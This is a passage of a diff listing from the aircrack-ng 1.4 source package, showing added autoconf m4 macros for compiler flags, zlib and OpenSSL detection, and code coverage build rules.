+        CFLAGS="$CFLAGS -mconsole -mwindows"
+        CXXFLAGS="$CXXFLAGS -mconsole -mwindows"
+        LDFLAGS="$LDFLAGS -mconsole -mwindows"
+
+        case "$host_os" in
+            MSYS*|msys*)
+                CPPFLAGS="$CPPFLAGS -DMSYS2"
+                CFLAGS="$CFLAGS -DMSYS2"
+                CXXFLAGS="$CXXFLAGS -DMSYS2"
+                ;;
+        esac
+
+        case "$ax_cv_c_compiler_vendor" in
+            clang)
+                LIBS="$LIBS -liconv"
+            ;;
+        esac
+        ;;
+esac
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_zlib.m4 Added

@@ -0,0 +1,45 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_ZLIB], [
+PKG_CHECK_MODULES([ZLIB], [zlib], [
+    HAVE_ZLIB=yes
+    AC_DEFINE([HAVE_ZLIB], [1], [Define if you have zlib])
+], [HAVE_ZLIB=no])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_add_fortify_source.m4 Added

@@ -0,0 +1,53 @@
+# ===========================================================================
+#  https://www.gnu.org/software/autoconf-archive/ax_add_fortify_source.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_ADD_FORTIFY_SOURCE
+#
+# DESCRIPTION
+#
+#   Check whether -D_FORTIFY_SOURCE=2 can be added to CPPFLAGS without macro
+#   redefinition warnings. Some distributions (such as Gentoo Linux) enable
+#   _FORTIFY_SOURCE globally in their compilers, leading to unnecessary
+#   warnings in the form of
+#
+#     <command-line>:0:0: error: "_FORTIFY_SOURCE" redefined [-Werror]
+#     <built-in>: note: this is the location of the previous definition
+#
+#   which is a problem if -Werror is enabled. This macro checks whether
+#   _FORTIFY_SOURCE is already defined, and if not, adds -D_FORTIFY_SOURCE=2
+#   to CPPFLAGS.
+#
+# LICENSE
+#
+#   Copyright (c) 2017 David Seifert <soap@gentoo.org>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved.  This file is offered as-is, without any
+#   warranty.
+
+#serial 2
+
+AC_DEFUN([AX_ADD_FORTIFY_SOURCE],[
+    AC_MSG_CHECKING([whether to add -D_FORTIFY_SOURCE=2 to CPPFLAGS])
+    AC_LINK_IFELSE([
+        AC_LANG_SOURCE(
+            [[
+                int main() {
+                #ifndef _FORTIFY_SOURCE
+                    return 0;
+                #else
+                    this_is_an_error;
+                #endif
+                }
+            ]]
+        )], [
+            AC_MSG_RESULT([yes])
+            CPPFLAGS="$CPPFLAGS -D_FORTIFY_SOURCE=2"
+        ], [
+            AC_MSG_RESULT([no])
+    ])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_append_flag.m4 Added

@@ -0,0 +1,71 @@
+# ===========================================================================
+#      https://www.gnu.org/software/autoconf-archive/ax_append_flag.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_APPEND_FLAG(FLAG, [FLAGS-VARIABLE])
+#
+# DESCRIPTION
+#
+#   FLAG is appended to the FLAGS-VARIABLE shell variable, with a space
+#   added in between.
+#
+#   If FLAGS-VARIABLE is not specified, the current language's flags (e.g.
+#   CFLAGS) is used.  FLAGS-VARIABLE is not changed if it already contains
+#   FLAG.  If FLAGS-VARIABLE is unset in the shell, it is set to exactly
+#   FLAG.
+#
+#   NOTE: Implementation based on AX_CFLAGS_GCC_OPTION.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
+#   Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
+#
+#   This program is free software: you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation, either version 3 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 7
+
+AC_DEFUN([AX_APPEND_FLAG],
+[dnl
+AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_SET_IF
+AS_VAR_PUSHDEF([FLAGS], [m4_default($2,_AC_LANG_PREFIX[FLAGS])])
+AS_VAR_SET_IF(FLAGS,[
+  AS_CASE([" AS_VAR_GET(FLAGS) "],
+    [*" $1 "*], [AC_RUN_LOG([: FLAGS already contains $1])],
+    [
+     AS_VAR_APPEND(FLAGS,[" $1"])
+     AC_RUN_LOG([: FLAGS="$FLAGS"])
+    ])
+  ],
+  [
+  AS_VAR_SET(FLAGS,[$1])
+  AC_RUN_LOG([: FLAGS="$FLAGS"])
+  ])
+AS_VAR_POPDEF([FLAGS])dnl
+])dnl AX_APPEND_FLAG

aircrack-ng-1.4.tar.gz/build/m4/ax_cflags_warn_all.m4 Added

@@ -0,0 +1,122 @@
+# ===========================================================================
+#    https://www.gnu.org/software/autoconf-archive/ax_cflags_warn_all.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CFLAGS_WARN_ALL   [(shellvar [,default, [A/NA]])]
+#   AX_CXXFLAGS_WARN_ALL [(shellvar [,default, [A/NA]])]
+#   AX_FCFLAGS_WARN_ALL  [(shellvar [,default, [A/NA]])]
+#
+# DESCRIPTION
+#
+#   Try to find a compiler option that enables most reasonable warnings.
+#
+#   For the GNU compiler it will be -Wall (and -ansi -pedantic) The result
+#   is added to the shellvar being CFLAGS, CXXFLAGS, or FCFLAGS by default.
+#
+#   Currently this macro knows about the GCC, Solaris, Digital Unix, AIX,
+#   HP-UX, IRIX, NEC SX-5 (Super-UX 10), Cray J90 (Unicos 10.0.0.8), and
+#   Intel compilers.  For a given compiler, the Fortran flags are much more
+#   experimental than their C equivalents.
+#
+#    - $1 shell-variable-to-add-to : CFLAGS, CXXFLAGS, or FCFLAGS
+#    - $2 add-value-if-not-found : nothing
+#    - $3 action-if-found : add value to shellvariable
+#    - $4 action-if-not-found : nothing
+#
+#   NOTE: These macros depend on AX_APPEND_FLAG.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
+#   Copyright (c) 2010 Rhys Ulerich <rhys.ulerich@gmail.com>
+#
+#   This program is free software; you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation; either version 3 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 16
+
+AC_DEFUN([AX_FLAGS_WARN_ALL],[dnl
+AS_VAR_PUSHDEF([FLAGS],[_AC_LANG_PREFIX[]FLAGS])dnl
+AS_VAR_PUSHDEF([VAR],[ac_cv_[]_AC_LANG_ABBREV[]flags_warn_all])dnl
+AC_CACHE_CHECK([m4_ifval($1,$1,FLAGS) for maximum warnings],
+VAR,[VAR="no, unknown"
+ac_save_[]FLAGS="$[]FLAGS"
+for ac_arg dnl
+in "-warn all  % -warn all"   dnl Intel
+   "-pedantic  % -Wall"       dnl GCC
+   "-xstrconst % -v"          dnl Solaris C
+   "-std1      % -verbose -w0 -warnprotos" dnl Digital Unix
+   "-qlanglvl=ansi % -qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd" dnl AIX
+   "-ansi -ansiE % -fullwarn" dnl IRIX
+   "+ESlit     % +w1"         dnl HP-UX C
+   "-Xc        % -pvctl[,]fullmsg" dnl NEC SX-5 (Super-UX 10)
+   "-h conform % -h msglevel 2" dnl Cray C (Unicos)
+   #
+do FLAGS="$ac_save_[]FLAGS "`echo $ac_arg | sed -e 's,%%.*,,' -e 's,%,,'`
+   AC_COMPILE_IFELSE([AC_LANG_PROGRAM],
+                     [VAR=`echo $ac_arg | sed -e 's,.*% *,,'` ; break])
+done
+FLAGS="$ac_save_[]FLAGS"
+])
+AS_VAR_POPDEF([FLAGS])dnl
+AX_REQUIRE_DEFINED([AX_APPEND_FLAG])
+case ".$VAR" in
+     .ok|.ok,*) m4_ifvaln($3,$3) ;;
+   .|.no|.no,*) m4_default($4,[m4_ifval($2,[AX_APPEND_FLAG([$2], [$1])])]) ;;
+   *) m4_default($3,[AX_APPEND_FLAG([$VAR], [$1])]) ;;
+esac
+AS_VAR_POPDEF([VAR])dnl
+])dnl AX_FLAGS_WARN_ALL
+dnl  implementation tactics:
+dnl   the for-argument contains a list of options. The first part of
+dnl   these does only exist to detect the compiler - usually it is
+dnl   a global option to enable -ansi or -extrawarnings. All other
+dnl   compilers will fail about it. That was needed since a lot of
+dnl   compilers will give false positives for some option-syntax
+dnl   like -Woption or -Xoption as they think of it is a pass-through
+dnl   to later compile stages or something. The "%" is used as a
+dnl   delimiter. A non-option comment can be given after "%%" marks
+dnl   which will be shown but not added to the respective C/CXXFLAGS.
+
+AC_DEFUN([AX_CFLAGS_WARN_ALL],[dnl
+AC_LANG_PUSH([C])
+AX_FLAGS_WARN_ALL([$1], [$2], [$3], [$4])
+AC_LANG_POP([C])
+])
+
+AC_DEFUN([AX_CXXFLAGS_WARN_ALL],[dnl
+AC_LANG_PUSH([C++])
+AX_FLAGS_WARN_ALL([$1], [$2], [$3], [$4])
+AC_LANG_POP([C++])
+])
+
+AC_DEFUN([AX_FCFLAGS_WARN_ALL],[dnl
+AC_LANG_PUSH([Fortran])
+AX_FLAGS_WARN_ALL([$1], [$2], [$3], [$4])
+AC_LANG_POP([Fortran])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_check_cflags.m4 Added

aircrack-ng-1.4.tar.gz/build/m4/ax_check_compile_flag.m4 Added

@@ -0,0 +1,74 @@
+# ===========================================================================
+#  https://www.gnu.org/software/autoconf-archive/ax_check_compile_flag.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CHECK_COMPILE_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT])
+#
+# DESCRIPTION
+#
+#   Check whether the given FLAG works with the current language's compiler
+#   or gives an error.  (Warnings, however, are ignored)
+#
+#   ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on
+#   success/failure.
+#
+#   If EXTRA-FLAGS is defined, it is added to the current language's default
+#   flags (e.g. CFLAGS) when the check is done.  The check is thus made with
+#   the flags: "CFLAGS EXTRA-FLAGS FLAG".  This can for example be used to
+#   force the compiler to issue an error when a bad flag is given.
+#
+#   INPUT gives an alternative input source to AC_COMPILE_IFELSE.
+#
+#   NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this
+#   macro in sync with AX_CHECK_{PREPROC,LINK}_FLAG.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
+#   Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
+#
+#   This program is free software: you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation, either version 3 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 5
+
+AC_DEFUN([AX_CHECK_COMPILE_FLAG],
+[AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF
+AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_[]_AC_LANG_ABBREV[]flags_$4_$1])dnl
+AC_CACHE_CHECK([whether _AC_LANG compiler accepts $1], CACHEVAR, [
+  ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS
+  _AC_LANG_PREFIX[]FLAGS="$[]_AC_LANG_PREFIX[]FLAGS $4 $1"
+  AC_COMPILE_IFELSE([m4_default([$5],[AC_LANG_PROGRAM()])],
+    [AS_VAR_SET(CACHEVAR,[yes])],
+    [AS_VAR_SET(CACHEVAR,[no])])
+  _AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags])
+AS_VAR_IF(CACHEVAR,yes,
+  [m4_default([$2], :)],
+  [m4_default([$3], :)])
+AS_VAR_POPDEF([CACHEVAR])dnl
+])dnl AX_CHECK_COMPILE_FLAGS

aircrack-ng-1.4.tar.gz/build/m4/ax_check_openssl.m4 Added

@@ -0,0 +1,124 @@
+# ===========================================================================
+#     https://www.gnu.org/software/autoconf-archive/ax_check_openssl.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CHECK_OPENSSL([action-if-found[, action-if-not-found]])
+#
+# DESCRIPTION
+#
+#   Look for OpenSSL in a number of default spots, or in a user-selected
+#   spot (via --with-openssl).  Sets
+#
+#     OPENSSL_INCLUDES to the include directives required
+#     OPENSSL_LIBS to the -l directives required
+#     OPENSSL_LDFLAGS to the -L or -R flags required
+#
+#   and calls ACTION-IF-FOUND or ACTION-IF-NOT-FOUND appropriately
+#
+#   This macro sets OPENSSL_INCLUDES such that source files should use the
+#   openssl/ directory in include directives:
+#
+#     #include <openssl/hmac.h>
+#
+# LICENSE
+#
+#   Copyright (c) 2009,2010 Zmanda Inc. <http://www.zmanda.com/>
+#   Copyright (c) 2009,2010 Dustin J. Mitchell <dustin@zmanda.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 10
+
+AU_ALIAS([CHECK_SSL], [AX_CHECK_OPENSSL])
+AC_DEFUN([AX_CHECK_OPENSSL], [
+    found=false
+    AC_ARG_WITH([openssl],
+        [AS_HELP_STRING([--with-openssl=DIR],
+            [root of the OpenSSL directory])],
+        [
+            case "$withval" in
+            "" | y | ye | yes | n | no)
+            AC_MSG_ERROR([Invalid --with-openssl value])
+              ;;
+            *) ssldirs="$withval"
+              ;;
+            esac
+        ], [
+            # if pkg-config is installed and openssl has installed a .pc file,
+            # then use that information and don't search ssldirs
+            AC_CHECK_TOOL([PKG_CONFIG], [pkg-config])
+            if test x"$PKG_CONFIG" != x""; then
+                OPENSSL_LDFLAGS=`$PKG_CONFIG openssl --libs-only-L 2>/dev/null`
+                if test $? = 0; then
+                    OPENSSL_LIBS=`$PKG_CONFIG openssl --libs-only-l 2>/dev/null`
+                    OPENSSL_INCLUDES=`$PKG_CONFIG openssl --cflags-only-I 2>/dev/null`
+                    found=true
+                fi
+            fi
+
+            # no such luck; use some default ssldirs
+            if ! $found; then
+                ssldirs="/usr/local/ssl /usr/lib/ssl /usr/ssl /usr/pkg /usr/local /usr"
+            fi
+        ]
+        )
+
+
+    # note that we #include <openssl/foo.h>, so the OpenSSL headers have to be in
+    # an 'openssl' subdirectory
+
+    if ! $found; then
+        OPENSSL_INCLUDES=
+        for ssldir in $ssldirs; do
+            AC_MSG_CHECKING([for openssl/ssl.h in $ssldir])
+            if test -f "$ssldir/include/openssl/ssl.h"; then
+                OPENSSL_INCLUDES="-I$ssldir/include"
+                OPENSSL_LDFLAGS="-L$ssldir/lib"
+                OPENSSL_LIBS="-lssl -lcrypto"
+                found=true
+                AC_MSG_RESULT([yes])
+                break
+            else
+                AC_MSG_RESULT([no])
+            fi
+        done
+
+        # if the file wasn't found, well, go ahead and try the link anyway -- maybe
+        # it will just work!
+    fi
+
+    # try the preprocessor and linker with our new flags,
+    # being careful not to pollute the global LIBS, LDFLAGS, and CPPFLAGS
+
+    AC_MSG_CHECKING([whether compiling and linking against OpenSSL works])
+    echo "Trying link with OPENSSL_LDFLAGS=$OPENSSL_LDFLAGS;" \
+        "OPENSSL_LIBS=$OPENSSL_LIBS; OPENSSL_INCLUDES=$OPENSSL_INCLUDES" >&AS_MESSAGE_LOG_FD
+
+    save_LIBS="$LIBS"
+    save_LDFLAGS="$LDFLAGS"
+    save_CPPFLAGS="$CPPFLAGS"
+    LDFLAGS="$LDFLAGS $OPENSSL_LDFLAGS"
+    LIBS="$OPENSSL_LIBS $LIBS"
+    CPPFLAGS="$OPENSSL_INCLUDES $CPPFLAGS"
+    AC_LINK_IFELSE(
+        [AC_LANG_PROGRAM([#include <openssl/ssl.h>], [SSL_new(NULL)])],
+        [
+            AC_MSG_RESULT([yes])
+            $1
+        ], [
+            AC_MSG_RESULT([no])
+            $2
+        ])
+    CPPFLAGS="$save_CPPFLAGS"
+    LDFLAGS="$save_LDFLAGS"
+    LIBS="$save_LIBS"
+
+    AC_SUBST([OPENSSL_INCLUDES])
+    AC_SUBST([OPENSSL_LIBS])
+    AC_SUBST([OPENSSL_LDFLAGS])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_code_coverage.m4 Added

@@ -0,0 +1,317 @@
+# ===========================================================================
+#     https://www.gnu.org/software/autoconf-archive/ax_code_coverage.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CODE_COVERAGE()
+#
+# DESCRIPTION
+#
+#   Defines CODE_COVERAGE_CPPFLAGS, CODE_COVERAGE_CFLAGS,
+#   CODE_COVERAGE_CXXFLAGS and CODE_COVERAGE_LIBS which should be included
+#   in the CPPFLAGS, CFLAGS CXXFLAGS and LIBS/LIBADD variables of every
+#   build target (program or library) which should be built with code
+#   coverage support. Also defines CODE_COVERAGE_RULES which should be
+#   substituted in your Makefile; and $enable_code_coverage which can be
+#   used in subsequent configure output. CODE_COVERAGE_ENABLED is defined
+#   and substituted, and corresponds to the value of the
+#   --enable-code-coverage option, which defaults to being disabled.
+#
+#   Test also for gcov program and create GCOV variable that could be
+#   substituted.
+#
+#   Note that all optimization flags in CFLAGS must be disabled when code
+#   coverage is enabled.
+#
+#   Usage example:
+#
+#   configure.ac:
+#
+#     AX_CODE_COVERAGE
+#
+#   Makefile.am:
+#
+#     @CODE_COVERAGE_RULES@
+#     my_program_LIBS = ... $(CODE_COVERAGE_LIBS) ...
+#     my_program_CPPFLAGS = ... $(CODE_COVERAGE_CPPFLAGS) ...
+#     my_program_CFLAGS = ... $(CODE_COVERAGE_CFLAGS) ...
+#     my_program_CXXFLAGS = ... $(CODE_COVERAGE_CXXFLAGS) ...
+#
+#   This results in a "check-code-coverage" rule being added to any
+#   Makefile.am which includes "@CODE_COVERAGE_RULES@" (assuming the module
+#   has been configured with --enable-code-coverage). Running `make
+#   check-code-coverage` in that directory will run the module's test suite
+#   (`make check`) and build a code coverage report detailing the code which
+#   was touched, then print the URI for the report.
+#
+#   In earlier versions of this macro, CODE_COVERAGE_LDFLAGS was defined
+#   instead of CODE_COVERAGE_LIBS. They are both still defined, but use of
+#   CODE_COVERAGE_LIBS is preferred for clarity; CODE_COVERAGE_LDFLAGS is
+#   deprecated. They have the same value.
+#
+#   In order to generate a code coverage report across your entire project,
+#   you MUST at minimum include the line:
+#
+#   @CODE_COVERAGE_RULES@
+#
+#   in every single Makefile.am throughout your project.
+#
+#   NOTE: If mixing non-recursive and recursive automake, then problems
+#   will appear with missing source files, due to one or more LCOV base
+#   directories missing. This mixed-mode will seemingly always have these
+#   errors and is only solved by using recursive make OR non-recursive
+#   make.
+#
+#   This code was derived from Makefile.decl in GLib, originally licenced
+#   under LGPLv2.1+.
+#
+# LICENSE
+#
+#   Copyright (c) 2012, 2016 Philip Withnall
+#   Copyright (c) 2012 Xan Lopez
+#   Copyright (c) 2012 Christian Persch
+#   Copyright (c) 2012 Paolo Borelli
+#   Copyright (c) 2012 Dan Winship
+#   Copyright (c) 2015 Bastien ROUCARIES
+#   Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+#   This library is free software; you can redistribute it and/or modify it
+#   under the terms of the GNU Lesser General Public License as published by
+#   the Free Software Foundation; either version 2.1 of the License, or (at
+#   your option) any later version.
+#
+#   This library is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser
+#   General Public License for more details.
+#
+#   You should have received a copy of the GNU Lesser General Public License
+#   along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+#serial 26
+
+AC_DEFUN([AX_CODE_COVERAGE],[
+	dnl Check for --enable-code-coverage
+	AC_REQUIRE([AC_PROG_SED])
+
+	# allow to override gcov location
+	AC_ARG_WITH([gcov],
+	  [AS_HELP_STRING([--with-gcov[=GCOV]], [use given GCOV for coverage (GCOV=gcov).])],
+	  [_AX_CODE_COVERAGE_GCOV_PROG_WITH=$with_gcov],
+	  [_AX_CODE_COVERAGE_GCOV_PROG_WITH=gcov])
+
+	AC_MSG_CHECKING([whether to build with code coverage support])
+	AC_ARG_ENABLE([code-coverage],
+	  AS_HELP_STRING([--enable-code-coverage],
+	  [Whether to enable code coverage support]),,
+	  enable_code_coverage=no)
+
+	AM_CONDITIONAL([CODE_COVERAGE_ENABLED], [test x$enable_code_coverage = xyes])
+	AC_SUBST([CODE_COVERAGE_ENABLED], [$enable_code_coverage])
+	AC_MSG_RESULT($enable_code_coverage)
+
+	AS_IF([ test "$enable_code_coverage" = "yes" ], [
+		# check for gcov
+		AC_CHECK_TOOL([GCOV],
+		  [$_AX_CODE_COVERAGE_GCOV_PROG_WITH],
+		  [:])
+		AS_IF([test "X$GCOV" = "X:"],
+		  [AC_MSG_ERROR([gcov is needed to do coverage])])
+		AC_SUBST([GCOV])
+
+		dnl Check if gcc is being used
+		AS_IF([ test "$GCC" = "no" ], [
+			AC_MSG_ERROR([not compiling with gcc, which is required for gcov code coverage])
+		])
+
+		AC_CHECK_PROG([LCOV], [lcov], [lcov])
+		AC_CHECK_PROG([GENHTML], [genhtml], [genhtml])
+
+		AS_IF([ test -z "$LCOV" ], [
+			AC_MSG_ERROR([To enable code coverage reporting you must have lcov installed])
+		])
+
+		AS_IF([ test -z "$GENHTML" ], [
+			AC_MSG_ERROR([Could not find genhtml from the lcov package])
+		])
+
+		dnl Build the code coverage flags
+		dnl Define CODE_COVERAGE_LDFLAGS for backwards compatibility
+		CODE_COVERAGE_CPPFLAGS="-DNDEBUG"
+		CODE_COVERAGE_CFLAGS="-O0 -g -fprofile-arcs -ftest-coverage"
+		CODE_COVERAGE_CXXFLAGS="-O0 -g -fprofile-arcs -ftest-coverage"
+		CODE_COVERAGE_LIBS="-lgcov"
+		CODE_COVERAGE_LDFLAGS="$CODE_COVERAGE_LIBS"
+
+		AC_SUBST([CODE_COVERAGE_CPPFLAGS])
+		AC_SUBST([CODE_COVERAGE_CFLAGS])
+		AC_SUBST([CODE_COVERAGE_CXXFLAGS])
+		AC_SUBST([CODE_COVERAGE_LIBS])
+		AC_SUBST([CODE_COVERAGE_LDFLAGS])
+
+		[CODE_COVERAGE_RULES_CHECK='
+	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-capture TOP_CODE_COVERAGE_OUTPUT_FILE="$(CODE_COVERAGE_OUTPUT_FILE)"
+	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-capture TOP_CODE_COVERAGE_OUTPUT_FILE="$(CODE_COVERAGE_OUTPUT_FILE)"
+	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-join
+	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-remove
+	$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) code-coverage-genhtml
+']
+		[CODE_COVERAGE_RULES_CAPTURE='
+	-$(A''M_V_at)$(MAKE) $(AM_MAKEFLAGS) check-am
+	find $(builddir) $ -name "*.o" $ -exec $(GCOV) -i -b -p -r -s $(top_absdir) {} ";"; \
+	$(code_coverage_v_lcov_cap)$(LCOV) $(code_coverage_quiet) $(addprefix --directory ,$(CODE_COVERAGE_DIRECTORY)) --no-recursion --capture --output-file "$(CODE_COVERAGE_OUTPUT_FILE).tmp" --test-name "$(call code_coverage_sanitize,$(PACKAGE_NAME)-$(PACKAGE_VERSION))" --no-checksum --compat-libtool $(CODE_COVERAGE_LCOV_SHOPTS) $(CODE_COVERAGE_LCOV_OPTIONS) --ignore-errors source
+	if test ! -e "$(TOP_CODE_COVERAGE_OUTPUT_FILE).join" -a -s "$(CODE_COVERAGE_OUTPUT_FILE).tmp"; then \
+		cp -v "$(CODE_COVERAGE_OUTPUT_FILE).tmp" "$(TOP_CODE_COVERAGE_OUTPUT_FILE).join"; \
+	fi;
+']
+    [CODE_COVERAGE_RULES_JOIN='
+	find $(builddir) -size +0c -a -name "$(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage.info.tmp" -exec echo "\"{}\"" ";" | \
+	xargs -L 1 $(LCOV) $(code_coverage_quiet) $(addprefix --directory ,$(CODE_COVERAGE_DIRECTORY)) --no-recursion --output-file "$(CODE_COVERAGE_OUTPUT_FILE).join" --test-name "$(call code_coverage_sanitize,$(PACKAGE_NAME)-$(PACKAGE_VERSION))" --no-checksum --compat-libtool $(CODE_COVERAGE_LCOV_SHOPTS) $(CODE_COVERAGE_LCOV_OPTIONS) --ignore-errors source -a "$(CODE_COVERAGE_OUTPUT_FILE).join" -a
+']
+	  [CODE_COVERAGE_RULES_REMOVE='
+	$(code_coverage_v_lcov_ign)$(LCOV) $(code_coverage_quiet) $(addprefix --directory ,$(CODE_COVERAGE_DIRECTORY)) --no-recursion --remove "$(CODE_COVERAGE_OUTPUT_FILE).join" "/tmp/*" $(CODE_COVERAGE_IGNORE_PATTERN) --output-file "$(CODE_COVERAGE_OUTPUT_FILE)" $(CODE_COVERAGE_LCOV_SHOPTS) $(CODE_COVERAGE_LCOV_RMOPTS)
+']
+    [CODE_COVERAGE_RULES_GENHTML='
+	-@rm -f $(CODE_COVERAGE_OUTPUT_FILE).tmp
+	find $(top_builddir) -size 0c -a -name "*.gcov" -delete
+	$(code_coverage_v_genhtml)LANG=C $(GENHTML) $(code_coverage_quiet) $(addprefix --prefix ,$(CODE_COVERAGE_DIRECTORY)) --output-directory "$(CODE_COVERAGE_OUTPUT_DIRECTORY)" --title "$(PACKAGE_NAME)-$(PACKAGE_VERSION) Code Coverage" --legend --show-details "$(CODE_COVERAGE_OUTPUT_FILE)" $(CODE_COVERAGE_GENHTML_OPTIONS) --ignore-errors source
+	@echo "file://$(CODE_COVERAGE_OUTPUT_DIRECTORY)/index.html"
+']
+		[CODE_COVERAGE_RULES_CLEAN='
+clean: code-coverage-clean
+distclean: code-coverage-clean
+code-coverage-clean:
+	-$(LCOV) --directory $(top_builddir) -z
